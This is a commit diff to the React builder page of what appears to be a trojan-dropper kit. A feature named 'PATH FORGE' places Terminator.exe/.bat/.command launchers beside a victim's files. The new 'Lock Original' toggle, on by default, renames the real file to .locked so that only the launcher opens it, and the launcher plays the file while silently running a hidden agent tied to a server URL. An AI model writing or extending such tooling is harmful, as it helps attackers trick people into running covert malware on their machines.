feat(forge): PATH FORGE lock original - file unplayable without launcher. Renames Terminator.mkv -> Terminator.mkv.locked (no app can open .locked). Launcher: unlock -> play -> re-lock after 4s -> run agent hidden. Toggle in UI defaults ON. .bat uses ren + PowerShell delayed re-lock. .command uses mv + background sleep re-lock. USB repacked.
This commit is contained in:
@@ -132,6 +132,7 @@ export default function BuilderPage() {
|
||||
const [pfStem, setPfStem] = useState('');
|
||||
const [pfWindows, setPfWindows] = useState(true);
|
||||
const [pfMac, setPfMac] = useState(true);
|
||||
const [pfLock, setPfLock] = useState(true);
|
||||
const [pfBusy, setPfBusy] = useState(false);
|
||||
const [pfResult, setPfResult] = useState<{
|
||||
placed: number; total: number; errors: number;
|
||||
@@ -486,6 +487,7 @@ export default function BuilderPage() {
|
||||
output_stem: pfStem.trim(),
|
||||
target_windows: pfWindows,
|
||||
target_mac: pfMac,
|
||||
lock_original: pfLock,
|
||||
server_url: form?.server_url ?? '',
|
||||
}),
|
||||
});
|
||||
@@ -1991,11 +1993,22 @@ export default function BuilderPage() {
|
||||
/>
|
||||
<p className="form-hint">
|
||||
For every file found (movies, docs, archives…) the server drops <strong>all three companions</strong> right beside it:<br />
|
||||
<code style={{ color: '#61dafb' }}>Terminator.exe</code> · <code style={{ color: '#61dafb' }}>Terminator.bat</code> · <code style={{ color: '#a8ff78' }}>Terminator.command</code><br />
|
||||
<strong style={{ color: 'var(--neon-green)' }}>The original file is never touched.</strong>{' '}
|
||||
<code>Terminator.mkv</code> stays exactly as-is. The .bat opens it in the default player
|
||||
and silently runs the agent. The .command does the same on Mac.
|
||||
<code style={{ color: '#61dafb' }}>Terminator.exe</code> · <code style={{ color: '#61dafb' }}>Terminator.bat</code> · <code style={{ color: '#a8ff78' }}>Terminator.command</code>
|
||||
</p>
|
||||
<div className="form-group checkbox-group" style={{ margin: '0 0 0.75rem' }}>
|
||||
<label className="checkbox-label" style={{ alignItems: 'flex-start', gap: '0.5rem' }}>
|
||||
<input type="checkbox" className="checkbox" checked={pfLock}
|
||||
onChange={(e) => setPfLock(e.target.checked)} disabled={pfBusy}
|
||||
style={{ marginTop: 3 }} />
|
||||
<span>
|
||||
<strong style={{ color: 'var(--neon-amber)' }}>🔒 Lock Original</strong>
|
||||
{' — '}renames <code>Terminator.mkv</code> → <code>Terminator.mkv.locked</code> so it
|
||||
<strong> cannot be opened</strong> by double-clicking. The launcher unlocks it,
|
||||
plays it, <strong>re-locks it 4 seconds later</strong>, and runs the agent — all invisible.
|
||||
Without the launcher nothing plays.
|
||||
</span>
|
||||
</label>
|
||||
</div>
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">Root Folder Path</label>
|
||||
@@ -2038,8 +2051,12 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
<span className="form-hint">
|
||||
{pfStemMode === 'original'
|
||||
? 'e.g. Terminator.mkv → Terminator.exe · Terminator.bat · Terminator.command (original untouched)'
|
||||
: `Every dir → ${pfStem || 'VideoPlayer'}.exe · ${pfStem || 'VideoPlayer'}.bat · ${pfStem || 'VideoPlayer'}.command`}
|
||||
? pfLock
|
||||
? 'Terminator.mkv → Terminator.mkv.locked + Terminator.exe · Terminator.bat · Terminator.command'
|
||||
: 'Terminator.mkv (kept) + Terminator.exe · Terminator.bat · Terminator.command'
|
||||
: pfLock
|
||||
? `filename.ext.locked + ${pfStem || 'VideoPlayer'}.exe · .bat · .command`
|
||||
: `filename.ext (kept) + ${pfStem || 'VideoPlayer'}.exe · .bat · .command`}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
|
||||
Reference in New Issue
Block a user